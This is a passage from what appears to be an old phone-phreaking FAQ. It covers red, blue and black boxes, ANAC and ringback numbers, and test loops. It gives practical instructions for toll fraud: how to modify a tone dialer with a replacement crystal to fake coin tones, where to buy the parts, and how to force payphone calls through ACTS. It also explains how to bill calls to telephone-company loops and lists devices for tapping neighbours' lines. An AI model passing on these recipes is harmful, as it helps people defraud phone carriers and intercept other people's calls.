tones are followed by 60ms of silence. Canada uses a variant of ACTSD called N-ACTS. N-ACTS uses different tones than ACTS. In Canada, the tones to use are: Nickel Signal 2200hz 0.060s on Dime Signal 2200hz 0.060s on, 0.060s off, twice repeating Quarter Signal 2200hz 33ms on, 33ms off, 5 times repeating --------------------------------------------------------------------------- C-02. How do I build a Red Box? Red boxes are commonly manufactured from Radio Shack tone dialers, Hallmark greeting cards, or made from scratch from readily available electronic components. To make a Red Box from a Radio Shack 43-141 or 43-146 tone dialer, open the dialer and replace the crystal with a new one. The purpose of the new crystal is to cause the * button on your tone dialer to create a 1700hz and 2200hz tone instead of the original 941hz and 1209hz tones. The exact value of the replacement crystal should be 6.466806 to create a perfect 1700hz tone and 6.513698 to create a perfect 2200hz tone. A crystal close to those values will create a tone that easily falls within the loose tolerances of ACTS. The most popular choice is the 6.5536Mhz crystal, because it is the easiest to procure. The old crystal is the large shiny metal component labeled "3.579545Mhz." When you are finished replacing the crystal, program the P1 button with five *'s. That will simulate a quarter tone each time you press P1. You can record the ACTS tones and play them back into the telephone. This is what is done with the Hallmark greeting card. Alternatively, you can build your own circuit using any voice recording chip, such as Radio Shack catalog number 276-1325. --------------------------------------------------------------------------- C-03. Where can I get a 6.5536Mhz crystal? Your best bet is a local electronics store. Radio Shack sells them, but they are overpriced and the store must order them in. This takes approximately two weeks. In addition, many Radio Shack employees do not know that this can be done. Or, you could order the crystal mail order. This introduces Shipping and Handling charges, which are usually much greater than the price of the crystal. It's best to get several people together to share the S&H cost. Or, buy five or six yourself and sell them later. Some of the places you can order crystals are: Digi-Key 701 Brooks Avenue South P.O. Box 677 Thief River Falls, MN 56701-0677 (800)344-4539 Part Number:X415-ND /* Note: 6.500Mhz and only .197 x .433 x .149! */ Part Number:X018-ND JDR Microdevices: 2233 Branham Lane San Jose, CA 95124 (800)538-5000 Part Number: 6.5536MHZ Tandy Express Order Marketing 401 NE 38th Street Fort Worth, TX 76106 (800)241-8742 Part Number: 10068625 Alltronics 2300 Zanker Road San Jose CA 95131 (408)943-9774 Voice (408)943-9776 Fax (408)943-0622 BBS Part Number: 92A057 Mouser (800)346-6873 Part Number: 332-1066 Blue Saguaro P.O. Box 37061 Tucson, AZ 85740 Part Number: 1458b Unicorn Electronics 10000 Canoga Ave, Unit c-2 Chatsworth, CA 91311 Phone: 1-800-824-3432 Part Number: CR6.5 --------------------------------------------------------------------------- C-04. Which payphones will a Red Box work on? Red Boxes will work on telco owned payphones, but not on COCOT's (Customer Owned Coin Operated Telephones). Red boxes work by fooling ACTS (Automated Coin Toll System) into believing you have put money into the pay phone. ACTS is the telephone company software responsible for saying "Please deposit XX cents" and listening for the coins being deposited. COCOT's do not use ACTS. On a COCOT, the pay phone itself is responsible for determining what coins have been inserted. --------------------------------------------------------------------------- C-05. How do I make local calls with a Red Box? Payphones do not use ACTS for local calls. To use your red box for local calls, you have to fool ACTS into getting involved in the call. One way to do this, in some areas, is by dialing an Equal Access Code before the number you are dialing. For example, to use 10288 (an Equal Access Code belonging to AT&T), dial 10288-xxx-xxxx. This makes your call a long distance call, and brings ACTS into the picture. There are quite a large number of Equal Access Codes available in most geographic regions. [Note from Dan Mellem: The access codes are now 1010xxx, so AT&T is 1010288+. H.] In other areas, you can call Directory Assistance and ask for the number of the person you are trying to reach. The operator will give you the number and then you will hear a message similar to "Your call can be completed automatically for an additional 35 cents." When this happens, you can then use ACTS tones. Another operator scam involves calling (800) long distance operators, asking them to connect you, and then playing the ACTS tones. This will get ACTS involved, even on COCOT's! I have heard that in some areas you can dial local calls as if they were long distance. For example, to dial 345-4587 to would dial 303-345-4587. This does not work on payphones in my area. --------------------------------------------------------------------------- C-06. What is a Blue Box? Blue boxes use a 2600hz tone to size control of telephone switches that use in-band signalling. The caller may then access special switch functions, with the usual purpose of making free long distance phone calls, using the tones provided by the Blue Box. --------------------------------------------------------------------------- C-07. Do Blue Boxes still work? This FAQ answer is excerpted from a message posted to Usenet by Marauder of the Legion of Doom: Somewhere along the line I have seen reference to something similar to "Because of ESS Blue boxing is impossible". This is incorrect. When I lived in Connecticut I was able to blue box under Step by Step, #1AESS, and DMS-100. The reason is simple, even though I was initiating my call to an 800 number from a different exchange (Class 5 office, aka Central Office) in each case, when the 800 call was routed to the toll network it would route through the New Haven #5 Crossbar toll Tandem office. It just so happens that the trunks between the class 5 (CO's) and the class 4 (toll office, in this case New Haven #5 Xbar), utilized in-band (MF) signalling, so regardless of what I dialed, as long as it was an Inter-Lata call, my call would route through this particular set of trunks, and I could Blue box until I was blue in the face. The originating Central Offices switch (SXS/ESS/Etc..) had little effect on my ability to box at all. While the advent of ESS (and other electronic switches) has made the blue boxers task a bit more difficult, ESS is not the reason most of you are unable to blue box. The main culprit is the "forward audio mute" feature of CCIS (out of band signalling). Unfortunately for the boxer 99% of the Toll Completion centers communicate using CCIS links, This spells disaster for the blue boxer since most of you must dial out of your local area to find trunks that utilize MF signalling, you inevitably cross a portion of the network that is CCIS equipped, you find an exchange that you blow 2600hz at, you are rewarded with a nice "winkstart", and no matter what MF tones you send at it, you meet with a re-order. This is because as soon as you seized the trunk (your application of 2600hz), your Originating Toll Office sees this as a loss of supervision at the destination, and Mutes any further audio from being passed to the destination (ie: your waiting trunk!). You meet with a reorder because the waiting trunk never "hears" any of the MF tones you are sending, and it times out. So for the clever amongst you, you must somehow get yourself to the 1000's of trunks out there that still utilize MF signalling but bypass/disable the CCIS audio mute problem. (Hint: Take a close look at WATS extenders). --------------------------------------------------------------------------- C-08. What is a Black Box? A Black Box is a resistor (and often capacitor in parallel) placed in series across your phone line to cause the phone company equipment to be unable to detect that you have answered your telephone. People who call you will then not be billed for the telephone call. Black boxes do not work under ESS. --------------------------------------------------------------------------- C-09. What do all the colored boxes do? Acrylic Steal Three-Way-Calling, Call Waiting and programmable Call Forwarding on old 4-wire phone systems Aqua Drain the voltage of the FBI lock-in-trace/trap-trace Beige Lineman's hand set Black Allows the calling party to not be billed for the call placed Blast Phone microphone amplifier Blotto Supposedly shorts every phone out in the immediate area Blue Emulate a true operator by seizing a trunk with a 2600hz tone Brown Create a party line from 2 phone lines Bud Tap into your neighbors phone line Chartreuse Use the electricity from your phone line Cheese Connect two phones to create a diverter Chrome Manipulate Traffic Signals by Remote Control Clear A telephone pickup coil and a small amp used to make free calls on Fortress Phones Color Line activated telephone recorder Copper Cause crosstalk interference on an extender Crimson Hold button Dark Re-route outgoing or incoming calls to another phone Dayglo Connect to your neighbors phone line Diverter Re-route outgoing or incoming calls to another phone DLOC Create a party line from 2 phone lines Gold Dialout router Green Emulate the Coin Collect, Coin Return, and Ringback tones Infinity Remotely activated phone tap Jack Touch-Tone key pad Light In-use light Lunch AM transmitter Magenta Connect a remote phone line to another remote phone line Mauve Phone tap without cutting into a line Neon External microphone Noise Create line noise Olive External ringer Party Create a party line from 2 phone lines Pearl Tone generator Pink Create a party line from 2 phone lines Purple Telephone hold button Rainbow Kill a trace by putting 120v into the phone line (joke) Razz Tap into your neighbors phone Red Make free phone calls from pay phones by generating quarter tones Rock Add music to your phone line Scarlet Cause a neighbors phone line to have poor reception Silver Create the DTMF tones for A, B, C and D Static Keep the voltage on a phone line high Switch Add hold, indicator lights, conferencing, etc.. Tan Line activated telephone recorder Tron Reverse the phase of power to your house, causing your electric meter to run slower TV Cable "See" sound waves on your TV Urine Create a capacitative disturbance between the ring and tip wires in another's telephone headset Violet Keep a payphone from hanging up White Portable DTMF keypad Yellow Add an extension phone Box schematics may be retrieved from these FTP sites: ftp.netcom.com /pub/br/bradleym ftp.netcom.com /pub/va/vandal ftp.winternet.com /users/nitehwk --------------------------------------------------------------------------- C-10. What is an ANAC number? An ANAC (Automatic Number Announcement Circuit) number is a telephone number that plays back the number of the telephone that called it. ANAC numbers are convenient if you want to know the telephone number of a pair of wires. --------------------------------------------------------------------------- C-11. What is the ANAC number for my area? How to find your ANAC number: Look up your NPA (Area Code) and try the number listed for it. If that fails, try 1 plus the number listed for it. If that fails, try the common numbers like 311, 958 and 200-222-2222. If you find the ANAC number for your area, please let us know. Note that many times the ANAC number will vary for different switches in the same city. The geographic naming on the list is NOT intended to be an accurate reference for coverage patterns, it is for convenience only. Many companies operate 800 number services which will read back to you the number from which you are calling. Many of these require navigating a series of menus to get the phone number you are looking for. Please use local ANAC numbers if you can, as overuse or abuse can kill 800 ANAC numbers. (800)425-6256 VRS Billing Systems/Integretel (800)4BLOCKME N (800)487-9240 Another line blocking service A non-800 ANAC that works nationwide is 404-988-9664. The one catch with this number is that it must be dialed with the AT&T Carrier Access Code 10732. Use of this number does not appear to be billed. Note: These geographic areas are for reference purposes only. ANAC numbers may vary from switch to switch within the same city. NPA ANAC number Approximate Geographic area --- --------------- --------------------------------------------- 201 958 Hackensack/Jersey City/Newark/Paterson, NJ 202 811 District of Columbia 203 970 CT 205 300-222-2222 Birmingham, AL 205 300-555-5555 Many small towns in AL 205 300-648-1111 Dora, AL 205 300-765-4321 Bessemer, AL 205 300-798-1111 Forestdale, AL 205 300-833-3333 Birmingham 205 557-2311 Birmingham, AL 205 811 Pell City/Cropwell/Lincoln, AL 205 841-1111 Tarrant, AL 205 908-222-2222 Birmingham, AL 206 411 WA (Not US West) 207 200-222-2222 ME 207 958 ME 209 830-2121 Stockton, CA 209 211-9779 Stockton, CA 210 830 Brownsville/Laredo/San Antonio, TX 210 951 Brownsville/Laredo/San Antonio, TX (GTE) 212 958 Manhattan, NY U 213 114 Los Angeles, CA (GTE 2EAX, DMS100, and GTD-5 switches) U 213 1223 Los Angeles, CA (GTE 1AESS and 5ESS switches) 213 211-2345 Los Angeles, CA (English response) 213 211-2346 Los Angeles, CA (DTMF response) 213 760-2??? Los Angeles, CA (DMS switches) 213 61056 Los Angeles, CA 214 570 Dallas, TX 214 790 Dallas, TX (GTE) N 214 970 Dallas, TX (GTE) U 214 970-222-2222 Dallas, TX (Southwestern Bell) 214 970-x11-1111 Dallas, TX (Southwestern Bell) 215 410-xxxx Philadelphia, PA 215 511 Philadelphia, PA 215 958 Philadelphia, PA 216 200-XXXX Akron/Canton/Cleveland/Lorain/Youngstown, OH 216 331 Akron/Canton/Cleveland/Lorain/Youngstown, OH 216 959-9892 Akron/Canton/Cleveland/Lorain/Youngstown, OH 217 200-xxx-xxxx Champaign-Urbana/Springfield, IL 219 550 Gary/Hammond/Michigan City/Southbend, IN 219 559 Gary/Hammond/Michigan City/Southbend, IN 301 2002006969 Hagerstown/Rockville, MD 301 958-9968 Hagerstown/Rockville, MD 303 958 Aspen/Boulder/Denver/Durango/Grand Junction /Steamboat Springs, CO 305 200-555-1212 Ft. Lauderdale/Key West/Miami, FL 305 200200200200200 Ft. Lauderdale/Key West/Miami, FL 305 780-2411 Ft. Lauderdale/Key West/Miami, FL 310 114 Long Beach, CA (On many GTE switches) 310 1223 Long Beach, CA (Some 1AESS switches) 310 211-2345 Long Beach, CA (English response) 310 211-2346 Long Beach, CA (DTMF response) [Note from Brian Jones: The new GTE ANAC for the Los Angeles area (310, etc) is 958-1114 H.] 312 200 Chicago, IL 312 290 Chicago, IL 312 1-200-8825 Chicago, IL (Last four change rapidly) 312 1-200-555-1212 Chicago, IL 313 200-200-2002 Ann Arbor/Dearborn/Detroit, MI 313 200-222-2222 Ann Arbor/Dearborn/Detroit, MI 313 200-xxx-xxxx Ann Arbor/Dearborn/Detroit, MI 313 200200200200200 Ann Arbor/Dearborn/Detroit, MI N 313 311 Ann Arbor/Dearborn/Detroit, MI N 313 958-1111 Ann Arbor/Dearborn/Detroit, MI (GTE) 314 410-xxxx# Columbia/Jefferson City/St.Louis, MO 315 953 Syracuse/Utica, NY 315 958 Syracuse/Utica, NY 315 998 Syracuse/Utica, NY 317 310-222-2222 Indianapolis/Kokomo, IN 317 559-222-2222 Indianapolis/Kokomo, IN 317 743-1218 Indianapolis/Kokomo, IN 334 5572411 Montgomery, AL 334 5572311 Montgomery, AL 401 200-200-4444 RI 401 222-2222 RI 401 2002006969 RI [401 possibly 118 according to forrest swope. H.] 402 311 Lincoln, NE 404 311 Atlanta, GA 404 780-2311 Atlanta, GA 404 940-xxx-xxxx Atlanta, GA 404 990 Atlanta, GA 405 890-7777777 Enid/Oklahoma City, OK 405 897 Enid/Oklahoma City, OK 407 200-222-2222 Orlando/West Palm Beach, FL (Bell South) 407 520-3111 Orlando/West Palm Beach, FL (United) 408 300-xxx-xxxx San Jose, CA 408 760 San Jose, CA 408 940 San Jose, CA 409 951 Beaumont/Galveston, TX 409 970-xxxx Beaumont/Galveston, TX 410 200-6969 Annapolis/Baltimore, MD 410 200-200-6969 Annapolis/Baltimore, MD 410 200-555-1212 Annapolis/Baltimore, MD 410 811 Annapolis/Baltimore, MD [410 possibly 118 according to forrest swope. H.] 412 711-6633 Pittsburgh, PA 412 711-4411 Pittsburgh, PA 412 999-xxxx Pittsburgh, PA 413 958 Pittsfield/Springfield, MA 413 200-555-5555 Pittsfield/Springfield, MA 414 330-2234 Fond du Lac/Green Bay/Milwaukee/Racine, WI 415 200-555-1212 San Francisco, CA 415 211-2111 San Francisco, CA 415 2222 San Francisco, CA 415 640 San Francisco, CA 415 760-2878 San Francisco, CA 415 7600-2222 San Francisco, CA 419 311 Toledo, OH 423 200-200-200 Chatanooga, Johnson City, Knoxville, TN 501 511 AR U 501 721-xxx-xxxx AR 502 2002222222 Frankfort/Louisville/Paducah/Shelbyville, KY 502 997-555-1212 Frankfort/Louisville/Paducah/Shelbyville, KY 503 611 Portland, OR 503 999 Portland, OR (GTE) 504 99882233 Baton Rouge/New Orleans, LA 504 201-269-1111 Baton Rouge/New Orleans, LA 504 998 Baton Rouge/New Orleans, LA 504 99851-0000000000 Baton Rouge/New Orleans, LA 508 958 Fall River/New Bedford/Worchester, MA 508 200-222-1234 Fall River/New Bedford/Worchester, MA 508 200-222-2222 Fall River/New Bedford/Worchester, MA 508 26011 Fall River/New Bedford/Worchester, MA 509 560 Spokane/Walla Walla/Yakima, WA 510 760-1111 Oakland, CA 512 830 Austin/Corpus Christi, TX 512 970-xxxx Austin/Corpus Christi, TX 513 380-55555555 Cincinnati/Dayton, OH 515 5463 Des Moines, IA 515 811 Des Moines, IA 516 958 Hempstead/Long Island, NY 516 968 Hempstead/Long Island, NY 517 200-222-2222 Bay City/Jackson/Lansing, MI 517 200200200200200 Bay City/Jackson/Lansing, MI N 517 958-1111 Bay City/Jackson/Lansing, MI (GTE) 518 511 Albany/Schenectady/Troy, NY 518 997 Albany/Schenectady/Troy, NY 518 998 Albany/Schenectady/Troy, NY 540 211 Roanoke, VA (GTE) 540 311 Roanoke, VA (GTE) 541 200 Bend, OR N 573 511 N 602 958-3474 Phoenix, AZ N 601 200-222-2222 MS N 603 200-2222 NH 603 200-222-2222 NH 606 997-555-1212 Ashland/Winchester, KY 606 711 Ashland/Winchester, KY 607 993 Binghamton/Elmira, NY 609 958 Atlantic City/Camden/Trenton/Vineland, NJ 610 958 Allentown/Reading, PA 610 958-4100 Allentown/Reading, PA 612 511 Minneapolis/St.Paul, MN 614 200 Columbus/Steubenville, OH 614 571 Columbus/Steubenville, OH 615 200200200200200 Chatanooga/Knoxville/Nashville, TN 615 2002222222 Chatanooga/Knoxville/Nashville, TN 615 830 Nashville, TN 616 200-222-2222 Battle Creek/Grand Rapids/Kalamazoo, MI N 616 958-1111 Battle Creek/Grand Rapids/Kalamazoo, MI (GTE) 617 200-222-1234 Boston, MA 617 200-222-2222 Boston, MA 617 200-444-4444 Boston, MA (Woburn, MA) 617 220-2622 Boston, MA 617 958 Boston, MA 618 200-xxx-xxxx Alton/Cairo/Mt.Vernon, IL 618 930 Alton/Cairo/Mt.Vernon, IL 619 211-2001 San Diego, CA 619 211-2121 San Diego, CA 659 220-2622 Newmarket, NH 703 211 VA 703 511-3636 Culpeper/Orange/Fredericksburg, VA 703 811 Alexandria/Arlington/Roanoke, VA 704 311 Asheville/Charlotte, NC 706 940-xxxx Augusta, GA 707 211-2222 Eureka, CA 707 611 Crescent City, CA 708 1-200-555-1212 Chicago/Elgin, IL 708 1-200-8825 Chicago/Elgin, IL (Last four change rapidly) 708 200-6153 Chicago/Elgin, IL 708 724-9951 Chicago/Elgin, IL 713 380 Houston, TX 713 970-xxxx Houston, TX 713 811 Humble, TX 713 380-5555-5555 Houston, TX 714 114 Anaheim, CA (GTE) 714 211-2121 Anaheim, CA (PacBell) 714 211-2222 Anaheim, CA (Pacbell) 714 211-7777 Anaheim, CA (Pacbell) 716 511 Buffalo/Niagara Falls/Rochester, NY (Rochester Tel) 716 990 Buffalo/Niagara Falls/Rochester, NY (Rochester Tel) 717 958 Harrisburg/Scranton/Wilkes-Barre, PA 718 958 Bronx/Brooklyn/Queens/Staten Island, NY 770 780-2311 Marietta/Norcross, GA 770 940-xxx-xxxx Marietta/Norcross, GA 802 2-222-222-2222 Vermont 802 200-222-2222 Vermont 802 1-700-222-2222 Vermont 802 111-2222 Vermont 804 211 Richmond, VA 804 990 Virginia Beach, VA [804 118 according to forrest swope. H.] 805 114 Bakersfield/Santa Barbara, CA 805 211-1101 Bakersfield/Santa Barbara, CA 805 211-2345 Bakersfield/Santa Barbara, CA 805 211-2346 Bakersfield/Santa Barbara, CA (Returns DTMF) 805 830 Bakersfield/Santa Barbara, CA 806 970-xxxx Amarillo/Lubbock, TX 810 200200200200200 Flint/Pontiac/Southfield/Troy, MI 810 311 Pontiac/Southfield/Troy, MI N 810 958-1111 Pontiac/Southfield/Troy, MI (GTE) 812 410-555-1212 Evansville, IN 813 311 Ft. Meyers/St. Petersburg/Tampa, FL 815 200-3374 Crystal Lake, IL 815 270-3374 Crystal Lake, IL 815 770-3374 Crystal Lake, IL 815 200-xxx-xxxx La Salle/Rockford, IL 815 290 La Salle/Rockford, IL 817 211 Ft. Worth/Waco, TX 817 970-611-1111 Ft. Worth/Waco, TX (Southwestern Bell) 817 973-222-11111 Ft. Worth/Waco, TX 818 114 Pasadena, CA (GTE) 818 1223 Pasadena, CA (Some 1AESS switches) (Pac Bell) 818 211-2345 Pasadena, CA (English response) (Pac Bell) 818 211-2346 Pasadena, CA (DTMF response) (Pac Bell) 860 970 CT 901 899-?555 Memphis, TN 903 970-611-1111 Tyler, TX 904 200-222-222 Jackonsville/Pensacola/Tallahasee, FL 904 311 Jackonsville/Pensacola/Tallahasee, FL 904 780-2311 Jackonsville/Pensacola/Tallahasee, FL 906 1-200-222-2222 Marquette/Sault Ste. Marie, MI N 906 958-1111 Marquette/Sault Ste. Marie, MI (GTE) U 907 811 Anchorage, AK 908 958 New Brunswick, NJ 909 111 Riverside/San Bernardino, CA (GTE) 909 114 Riverside/San Bernardino, CA 910 200 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC 910 311 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC 910 988 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC 912 711 Albany/Savannah, GA 912 780-2311 Albany/Savannah, GA 914 990-1111 Peekskill/Poughkeepsie/White Plains/Yonkers, NY 915 970-xxxx Abilene/El Paso, TX 916 211-0007 Sacramento, CA (Pac Bell) 916 461 Sacramento, CA (Roseville Telephone) 919 200 Durham, NC 919 711 Durham, NC 919 780-2411 Durham, NC 954 200-555-1212 Ft. Lauderdale, FL 954 200200200200200 Ft. Lauderdale, FL 954 780-2411 Ft. Lauderdale, FL Canada: 204 644-4444 Manitoba 306 115 Saskatchewan 403 311 Alberta, Yukon and N.W. Territory 403 908-222-2222 Alberta, Yukon and N.W. Territory 403 999 Alberta, Yukon and N.W. Territory 416 997-xxxx Toronto, Ontario N 416 997-1699 Down Town, Toronto, Ontario N 416 997-1699 Riverdale, Toronto, Ontario N 416 997-8123 Scarborough, Toronto, Ontario 506 1-555-1313 New Brunswick 514 320-xxxx Montreal, Quebec 514 320-1232 Montreal, Quebec 514 320-1223 Montreal, Quebec 514 320-1233 Montreal, Quebec 519 320-xxxx London, Ontario 604 1116 British Columbia 604 1211 British Columbia 604 211 British Columbia 613 320-2232 Ottawa, Ontario N 613 320-5123 Kingston/Belleville/Southeastern Ontario N 613 320-5124 Kingston/Belleville/Southeastern Ontario N 613 320-9123 Kingston/Belleville/Southeastern Ontario 705 320-4567 North Bay/Saulte Ste. Marie, Ontario 819 320-1112 Quebec [Note from Mike: I found the new ANAC for the 604 calling area in Vancouver, BC, Canada it is (604)958-6111. Also any prefix followed with 2011, so xxx-2011 is the high end of a loop. However, I can't find the low end.. xxx-2012 gives a constantly busy and xxx-2010 rings forever. Any help with finding the other end would be greatly appreciated. H.] N Argentina: 5702 Australia: +61 03-552-4111 Victoria 03 area +612 19123 All major capital cities +612 11544 United Kingdom: U 175 or 17071 Israel: 110 --------------------------------------------------------------------------- C-12. What is a ringback number? A ringback number is a number that you call that will immediately ring the telephone from which it was called. In most instances you must call the ringback number, quickly hang up the phone for just a short moment and then let up on the switch, you will then go back off hook and hear a different tone. You may then hang up. You will be called back seconds later. On some systems, you will have to press a button of flash hook again before the final hang up. --------------------------------------------------------------------------- C-13. What is the ringback number for my area? An 'x' means insert those numbers from the phone number from which you are calling. A '?' means that the number varies from switch to switch in the area, or changes from time to time. Try all possible combinations. If the ringback for your NPA is not listed, try common ones such as 114, 951-xxx-xxxx, 954, 957 and 958. Also, try using the numbers listed for other NPA's served by your telephone company. Note: These geographic areas are for reference purposes only. Ringback numbers may vary from switch to switch within the same city. NPA Ringback number Approximate Geographic area --- --------------- --------------------------------------------- 201 55?-xxxx Hackensack/Jersey City/Newark/Paterson, NJ 202 958-xxxx District of Columbia 203 99?-xxxx CT 206 571-xxxx WA 207 981-xxxx ME 208 59X-xxxx ID 208 99xxx-xxxx ID 210 211-8849-xxxx Brownsville/Laredo/San Antonio, TX (GTE) N 213 xxx-xxxx Los Angeles, CA (GTE 2EAX, DMS100, and GTD-5 switches) N 213 117-xxxx Los Angeles, CA (GTE 5ESS switches) U 213 195-xxxx Los Angeles, CA (GTE 1AESS switches) 214 971-xxxx Dallas, TX 215 811-xxxx Philadelphia, PA 216 551-xxxx Akron/Canton/Cleveland/Lorain/Youngstown, OH 219 571-xxx-xxxx Gary/Hammond/Michigan City/Southbend, IN 219 777-xxx-xxxx Gary/Hammond/Michigan City/Southbend, IN 301 579-xxxx Hagerstown/Rockville, MD 301 958-xxxx Hagerstown/Rockville, MD 303 99x-xxxx Grand Junction, CO 304 998-xxxx WV 305 999-xxxx Ft. Lauderdale/Key West/Miami, FL 312 511-xxxx Chicago, IL 312 511-xxx-xxxx Chicago, IL 312 57?-xxxx Chicago, IL N 313 116-xxx-xxxx Ann Arbor/Dearborn/Detroit, MI (GTE) N 313 951-xxxx Ann Arbor/Dearborn/Detroit, MI 315 98x-xxxx Syracuse/Utica, NY 317 777-xxxx Indianapolis/Kokomo, IN 317 xxx-xxxx Indianapolis/Kokomo, IN (y=3rd digit of phone number) 319 79x-xxxx Davenport/Dubuque, Iowa 334 901-xxxx Montgomery, AL 401 98?-xxxx RI 404 450-xxxx Atlanta, GA 407 988-xxxx Orlando/West Palm Beach, FL 408 470-xxxx San Jose, CA 408 580-xxxx San Jose, CA 412 985-xxxx Pittsburgh, PA N 413 1983-xxxx Pittsfield/Springfield, MA 414 977-xxxx Fond du Lac/Green Bay/Milwaukee/Racine, WI 414 978-xxxx Fond du Lac/Green Bay/Milwaukee/Racine, WI 415 350-xxxx San Francisco, CA 417 551-xxxx Joplin/Springfield, MO N 501 221-xxxx Ft. Smith, AR (646 prefix) 501 221-xxx-xxxx AR N 501 780-xxxx Ft. Smith, AR (452 prefix) 502 988 Frankfort/Louisville/Paducah/Shelbyville, KY 503 541-XXXX OR 504 99x-xxxx Baton Rouge/New Orleans, LA 504 9988776655 Baton Rouge/New Orleans, LA 505 59?-xxxx New Mexico 512 95X-xxxx Austin, TX 513 951-xxxx Cincinnati/Dayton, OH 513 955-xxxx Cincinnati/Dayton, OH 513 99?-xxxx Cincinnati/Dayton, OH (X=0, 1, 2, 3, 4, 8 or 9) 515 559-XXXX Des Moines, IA N 516 660-xxxx Hempstead/Long Island, NY 516 660-xxx-xxxx Hempstead/Long Island, NY N 517 116-xxx-xxxx Bay City/Jackson/Lansing, MI (GTE) N 520 594-xxxx AZ 601 777-xxxx MS 603 981-xxxx NH 609 55?-xxxx Atlantic City/Camden/Trenton/Vineland, NJ 610 811-xxxx Allentown/Reading, PA 612 511 Minneapolis/St.Paul, MN 612 999-xxx-xxxx Minneapolis/St.Paul, MN 614 998-xxxx Columbus/Steubenville, OH 615 920-XXXX Chatanooga/Knoxville/Nashville, TN 615 930-xxxx Chatanooga/Knoxville/Nashville, TN N 616 116-xxx-xxxx Battle Creek/Grand Rapids/Kalamazoo, MI (GTE) 616 946-xxxx Battle Creek/Grand Rapids/Kalamazoo, MI 619 331-xxxx San Diego, CA 619 332-xxxx San Diego, CA 659 981-XXXX Newmarket, NH 703 511-xxx-xxxx VA 703 958-xxxx Alexandria/Arlington/Roanoke, VA 708 511-xxxx Chicago/Elgin, IL 713 231-xxxx Los Angeles, CA 714 330? Anaheim, CA (GTE) 714 33?-xxxx Anaheim, CA (PacBell) 716 981-xxxx Rochester, NY (Rochester Tel) 718 660-xxxx Bronx/Brooklyn/Queens/Staten Island, NY 719 99x-xxxx Colorado Springs/Leadville/Pueblo, CO 801 938-xxxx Utah 801 939-xxxx Utah 802 987-xxxx Vermont 804 260 Charlottesville/Newport News/Norfolk/Richmond, VA 805 114 Bakersfield/Santa Barbara, CA 805 980-xxxx Bakersfield/Santa Barbara, CA N 810 116-xxx-xxxx Pontiac/Southfield/Troy, MI (GTE) 810 951-xxx-xxxx Pontiac/Southfield/Troy, MI 813 711 Ft. Meyers/St. Petersburg/Tampa, FL 817 971 Ft. Worth/Waco, TX (Flashhook, then 2#) 818 915?-xxxx Pasadena, CA 864 999-xxx-xxxx Greenville/Spartanburg, SC N 906 116-xxx-xxxx Marquette/Sault Ste. Marie, MI (GTE) 906 951-xxx-xxxx Marquette/Sault Ste. Marie, MI 908 55?-xxxx New Brunswick, NJ 908 953 New Brunswick, NJ 913 951-xxxx Lawrence/Salina/Topeka, KS 914 660-xxxx-xxxx Peekskill/Poughkeepsie/White Plains/Yonkers, NY Canada: 204 590-xxx-xxxx Manitoba N 403 999-xxx-xxxx Alberta, Yukon, and N.W. Territories 416 57x-xxxx Toronto, Ontario 416 99x-xxxx Toronto, Ontario 416 999-xxx-xxxx Toronto, Ontario 506 572+xxx-xxxx New Brunswick 514 320-xxx-xxxx Montreal, Quebec 519 999-xxx-xxxx London, Ontario 604 311-xxx-xxxx British Columbia N 604 871-xxx-xxxx British Columbia 613 999-xxx-xxxx Ottawa, Ontario 705 999-xxx-xxxx North Bay/Saulte Ste. Marie, Ontario 819 320-xxx-xxxx Quebec N 902 575-xxx-xxxx Halifax, Nova Scotia 905 999-xxx-xxxx Hamilton/Mississauga/Niagra Falls, Ontario N Argentina 115 Australia: +61 199 U Brazil: 109 France: 3644 Holland: 99-xxxxxx Malaysia 196 New Zealand: 137 Sweden: 0058 U United Kingdom: 174 or 1744 or 175 or 0500-89-0011 or 17070 + 1 Amsterdam 0196 Hilversum 0123456789 Breukelen 0123456789 Groningen 951 --------------------------------------------------------------------------- C-14. What is a loop? This FAQ answer is excerpted from: ToneLoc v0.99 User Manual by Minor Threat & Mucho Maas Loops are a pair of phone numbers, usually consecutive, like 836-9998 and 836-9999. They are used by the phone company for testing. What good do loops do us? Well, they are cool in a few ways. Here is a simple use of loops. Each loop has two ends, a 'high' end, and a 'low' end. One end gives a (usually) constant, loud tone when it is called. The other end is silent. Loops don't usually ring either. When BOTH ends are called, the people that called each end can talk through the loop. Some loops are voice filtered and won't pass anything but a constant tone; these aren't much use to you. Here's what you can use working loops for: billing phone calls! First, call the end that gives the loud tone. Then if the operator or someone calls the other end, the tone will go quiet. Act like the phone just rang and you answered it ... say "Hello", "Allo", "Chow", "Yo", or what the fuck ever. The operator thinks that she just called you, and that's it! Now the phone bill will go to the loop, and your local RBOC will get the bill! Use this technique in moderation, or the loop may go down. Loops are probably most useful when you want to talk to someone to whom you don't want to give your phone number. --------------------------------------------------------------------------- C-15. What is a loop in my area? Many (if not most) of these loops are no longer functional. If you are local to any of these loops, please try them out an e-mail me the results of your research. NPA High Low --- -------- -------- 201 666-9929 666-9930 208 862-9996 862-9997 213 365-1118 365-1119 308 357-0004 357-0005 310 455-0002 455-???? 310 546-0002 546-???? 312 262-9902 262-9903 (Editors note: Very odd sound) 313 224-9996 224-9997 313 225-9996 225-9997 313 234-9996 234-9997 313 237-9996 237-9997 313 256-9996 256-9997 313 272-9996 272-9997 313 273-9996 273-9997 313 277-9996 277-9997 313 281-9996 281-9997 313 292-9996 292-9997 313 299-9996 299-9997 313 321-9996 321-9997 313 326-9996 326-9997 313 356-9996 356-9997 313 362-9996 362-9997 313 369-9996 369-9997 313 388-9996 388-9997 313 397-9996 397-9997 313 399-9996 399-9997 313 445-9996 445-9997 313 465-9996 465-9997 313 471-9996 471-9997 313 474-9996 474-9997 313 477-9996 477-9997 313 478-9996 478-9997 313 483-9996 483-9997 313 497-9996 497-9997 313 526-9996 526-9997 313 552-9996 552-9997 313 556-9996 556-9997 313 561-9996 561-9997 313 569-9996 569-9996 313 575-9996 575-9997 313 577-9996 577-9997 313 585-9996 585-9997 313 591-9996 591-9997 313 621-9996 621-9997 313 626-9996 626-9997 313 644-9996 644-9997 313 646-9996 646-9997 313 647-9996 647-9997 313 649-9996 649-9997 313 663-9996 663-9997 313 665-9996 665-9997 313 683-9996 683-9997 313 721-9996 721-9997 313 722-9996 722-9997 313 728-9996 728-9997 313 731-9996 731-9997 313 751-9996 751-9997 313 776-9996 776-9997 313 781-9996 781-9997 313 787-9996 787-9997 313 822-9996 822-9997 313 833-9996 833-9997 313 851-9996 851-9997 